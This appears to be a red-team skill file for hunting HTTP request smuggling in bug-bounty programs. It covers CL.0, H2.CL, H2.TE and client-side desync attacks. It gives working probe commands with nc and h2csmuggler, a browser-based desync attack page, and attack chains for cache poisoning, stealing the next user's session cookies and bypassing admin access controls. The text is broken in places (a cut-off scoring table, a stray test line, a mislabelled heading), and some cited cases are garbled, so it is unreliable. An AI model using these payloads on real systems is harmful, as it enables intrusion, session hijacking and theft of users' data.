Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). Cause: front-end proxy and back-end server disagree on where one request ends and the next begins (Content-Length vs Transfer-Encoding header parsing inconsistency). CL.TE: front-end uses CL, back uses TE → smuggle by sending TE: chunked but with body that fits CL count. TE.CL: opposite. H2.CL: HTTP/2 downgrade, smuggle CL into HTTP/1.1 back-end. Detectiontools: Burp HTTP Request Smuggler extension, smuggler.py, h2csmuggler. Confirm: time-delay technique (smuggled GET with 30s timeout) — if front-end returns slow on next victim request, smuggling works. Validate: cache poisoning chain (smuggle request that gets cached for victim), credential theft (smuggle X-Forwarded-For override that captures next user's cookies), bypass auth (smuggled internal-path request). Real paid examples from major CDN deployments. Use when hunting H1 paid programs running CDN+origin stacks, when targeting load balancer / WAF bypass.
Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). Cause: front-end proxy and back-end server disagree on where one request ends and the next begins (Content-Length vs Transfer-Encoding header parsing inconsistency). CL.TE: front-end uses CL, back uses TE → smuggle by sending TE: chunked but with body that fits CL count. TE.CL: opposite. H2.CL: HTTP/2 downgrade, smuggle CL into HTTP/1.1 back-end. Detectiontools: Burp HTTP Request Smuggler extension, smuggler.py, h2csmuggler. Confirm: time-delay technique (smuggled GET with 30s timeout) — if front-end returns slow on next victim request, smuggling works. Validate: cache poisoning chain (smuggle request that gets cached for victim), credential theft (smuggle X-Forwarded-For override that captures next user's cookies), bypass auth (smuggled internal-path request). Real paid examples from major CDN deployments. Use when hunting H1 paid programs running CDN+origin stacks, when targeting load balancer / WAF bypass.
version
1.1.0
revision_date
"2026-07-25T00:00:00.000Z"
license
MIT
category
redteam
tags
["http-smuggling","hunt","redteam"]
17. HTTP REQUEST SMUGGLING
Lowest dup rate. $5K–$30K. PortSwigger research by James Kettle.
Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale
Target-Suitability Matrix (2026 reality check)
The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.
Front-end
CL.TE
TE.CL
H2.CL
H2.TE
Notes
Nginx >= 1.21
NO
NO
partial (H2 ingress)
partial
Common configurations reject ambiguous CL+TE requests, but behavior still depends on the complete proxy chain.
nginx/1.21+, Caddy, envoy → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream
HAProxy, header points to AWS/CDN → run the full payload matrix
No Server header → assume hardened, but run a single quick space-before-colon probe; if it doesn't 400, dig deeper
H2.CL / H2.TE (the modern dominant vector)
H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.
Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, h2csmuggler, smuggler.py) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
CL.0 Desync (Content-Length ignored by backend)
Also called "CL.0" or "ignored Content-Length". The front-end reads Content-Length and forwards the body. The backend does NOT parse Content-Length — it reads until connection close. This leaves the body bytes dangling as the start of the next request on a keep-alive connection.
Detection with raw socket:
# CL.0 probe — send a POST with smuggled prefix after the body# The backend ignores CL and treats the smuggled bytes as the next request
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'sleep 2
echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443
Key indicator: A POST request with mismatched CL that does NOT return HTTP 400. The backend swallowed a wrong Content-Length without complaint.
H2.CL Desync (HTTP/2 → HTTP/1.1 CL Injection)
The attacker sends an HTTP/2 request containing a content-length header. The HTTP/2 front-end trusts its own frame-length to delimit the request and passes the CL header through to the HTTP/1.1 backend. The backend then uses the downgraded CL header for delimitation, while the front-end already consumed the full frame — creating a desync on the upstream HTTP/1.1 connection.
Netflix $20k case study (HackerOne 2021-2022):
Researcher @defparam identified that Netflix's HTTP/2 termination layer forwarded content-length headers into HTTP/1.1 upstream connections
The HTTP/2 frame length was 0 (no body), but the injected content-length: 50 header told the backend to expect 50 more bytes
Front-end forwarded the next request's bytes as the "body" of the smuggled request
Impact: cache poisoning of Netflix's API responses, session hijacking on shared upstream connections
Bounty: $20,000. Fixed by stripping content-length from all H2→H1.1 downgraded requests.
Detection with h2csmuggler:
# Install h2csmuggler
pip install h2csmuggler
# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
--smuggled-path "/api/internal/admin" \
--smuggled-host "target.com" \
--delay 5
Manual Burp probe:
Burp → Repeater → switch protocol to HTTP/2
Remove :method pseudo-header body length (set to 0)
Add content-length: 100 as a regular header
Place the smuggled request in the DATA frame after the headers
Send → observe if a subsequent request triggers a 404 to /smuggled-path
H2.TE Desync (HTTP/2 Transfer-Encoding Injection)
HTTP/2 officially removes Transfer-Encoding — it uses frame-length exclusively. But when a front-end downgrades H2→H1.1 and permits transfer-encoding: chunked to survive the conversion, the H1.1 backend uses TE and waits for chunk boundaries. The attacker sends a complete H2 frame (front-end satisfied) plus a chunked body that the backend never finishes reading → next request bytes consume the chunk body.
AWS ALB case study (Albibir, 2023):
Researcher discovered that AWS Application Load Balancer (ALB) when configured with HTTP/2 listener → HTTP/1.1 target groups, would pass transfer-encoding headers from HTTP/2 requests into the HTTP/1.1 upstream
ALB correctly terminated H2 using frame-length, but included TE: chunked in the H1.1 upstream request
The Nginx/HTTPD origin would then interpret the body as chunked — 0\r\n\r\n ends the chunk, and subsequent bytes form a smuggled HTTP request
Impact: full cache poisoning of ALB-cached responses, credential theft across ALB-connected microservices
Disclosure: patched by AWS after confirmed reproduction — ALB now strips TE headers on downgrade
Pattern similar to CVE-2022-22963 (Spring Cloud Function) leveraging proxy desync
Detection:
# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
--body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
--delay 10
# Manual H2.TE via Burp (Repeater → HTTP/2):# 1. Add header: transfer-encoding: chunked# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"# 3. The DATA frame has full body, but backend reads chunked encoding# 4. Follow with a real GET / → expect 404 for /404
When ALB is vulnerable:
ALB listener protocol: HTTPS (HTTP/2)
Target group protocol: HTTP/1.1
Origin server parsing chunked encoding on keep-alive connections
Verify with: curl -si https://target/ | grep -i "server:" — if no explicit ALB header, test anyway
TE.TE Obfuscation (Header Smuggling)
When both front-end and back-end support Transfer-Encoding, but parse the header differently, obfuscation variants can make one side see TE while the other ignores it.
Discovered by James Kettle (PortSwigger, 2023). Instead of smuggling from a direct connection, the attacker uses a victim's browser to send a crafted POST request with Connection: keep-alive and a body that the proxy thinks is complete but the backend treats as partial. The browser's connection to the proxy is then poisoned — the victim's next request on that connection gets the smuggled response.
Key difference from server-side desync: The browser is the smuggler. The proxy and backend are the victims. No direct socket needed.
Mechanism:
Attacker hosts a page with fetch('https://vuln-proxy/', { method: 'POST', body: '0\r\n\r\nGET /login HTTP/1.1\r\nHost: vuln-proxy\r\n\r\n', mode: 'cors' }) (or no-cors with keepalive: true)
Browser sends the POST. The front-end proxy considers the body consumed by Content-Length.
Backend reads the body using a different parser (or Connection: keep-alive with no CL) and sees the carriage returns as request boundaries.
Victim's next request (a real GET /index.html) lands after the smuggled prefix → response to the smuggled request gets returned to the victim.
Detection:
# Serve a test page that fires a desync probe from the browsercat > /tmp/csd-test.html << 'EOF'
<!DOCTYPE html>
<html>
<body>
<script>
// Client-Side Desync probe — sends a POST with dangling body bytes
fetch('https://target.com/', {
method: 'POST',
mode: 'no-cors', // keepalive needed for connection reuse
keepalive: true,
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
});
// Follow-up fetch to see if connection was poisoned
setTimeout(() => {
fetch('/dashboard')
.then(r => r.text())
.then(t => console.log('DASHBOARD RESPONSE:', t.substring(0, 200)));
}, 1000);
</script>
</body>
</html>
EOF
# Start a local server to serve the page
python3 -m http.server 8888 --directory /tmp/
# Then open http://localhost:8888/csd-test.html in a browser pointed at target
Client-Side Desync prerequisites:
Proxy supports HTTP/1.1 keep-alive and connection reuse
Backend does NOT consume the full body (CL ignored or chunking mismatch)
Browser CORS policy allows no-cors + keepalive: true (always allowed)
Victim browser must already have an open connection to the proxy (keep-alive pool)
Detection via curl simulation:
# Simulate what the browser sends — POST with body, then GET on same connection
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 30\r\nContent-Type: text/plain\r\nConnection: keep-alive\r\n\r\n'echo -en '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\n'sleep 1
echo -en 'GET /dashboard HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 80
HTTP Anomaly Rank (HA Rank)
A 0–5 scoring system to quantify a target's susceptibility to HTTP desync smuggling. Higher is more dangerous.
Score
Label
Criteria
Action
0
Immune
RFC 9112 strict; returns 400 on any CL+TE combination; H2→H1.1 strips all body headers
Move on
1
Low
Returns 200 for CL+TE but no desync observed; H2 downgrade tested negative
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
HTTP smuggling without two-tier architecture — smuggling requires a front-end proxy and back-end server that disagree on request boundaries. Single-tier apps are immune.
TE.CL vs CL.TE confusion — these are opposite attacks. Fingerprint the specific disagreement before attempting.
Smuggling probe without confirmable side effect — a 200 or 400 on a probe request doesn't confirm smuggling. Need a visible side effect (cache poison, request queue poisoning, response queue).
HTTP/2 downgrade smuggling — H2C downgrade smuggling requires the backend to accept HTTP/1.1 over the same connection. Test if the backend speaks HTTP/1.1.
WAF bypass via smuggling — many WAFs don't reassemble smuggled requests. This is the primary value prop of smuggling attacks.
Related Skills & Chains
hunt-cache-poison — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (/, /login) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.
hunt-auth-bypass — Smuggling reaches internal-only routes that the front-end WAF/auth-proxy filters out. Chain primitive: smuggle GET /admin/users HTTP/1.1 past the front-end ACL that blocks external /admin/* → backend processes the smuggled request as if from a trusted internal source → bypass front-end auth by smuggling internal-routed request → admin data in the response queue.
hunt-idor — Smuggling attaches the NEXT user's session cookies to an attacker-controlled request path. Chain primitive: smuggle GET /api/me HTTP/1.1 with no cookies → backend pairs it with the next legitimate user's incoming connection cookies → victim's session cookie attached to attacker's smuggled request → attacker reads the response containing victim's PII/tokens.
hunt-xss — Smuggling injects XSS payloads into the response stream of the next victim without ever appearing in a URL parameter. Chain primitive: smuggled request body contains reflected payload that the backend renders into the next response in the queue → next visitor to / receives attacker HTML inline → reflected XSS at every visitor without any URL parameter visible to them or to logs.
security-arsenal — Reach for the smuggling payload bank (CL.TE / TE.CL / TE.TE obfuscations, H2.CL downgrade probes, h2csmuggler one-liners, Burp HTTP Request Smuggler extension config) and the time-delay confirmation template before manual hex-editing.
triage-validation — Run the Pre-Severity Gate before claiming Critical: the smuggled-request effect MUST land on a request issued by a different client/session, not your own follow-up. A timing delta in your own browser alone is parser disagreement, not exploitable smuggling.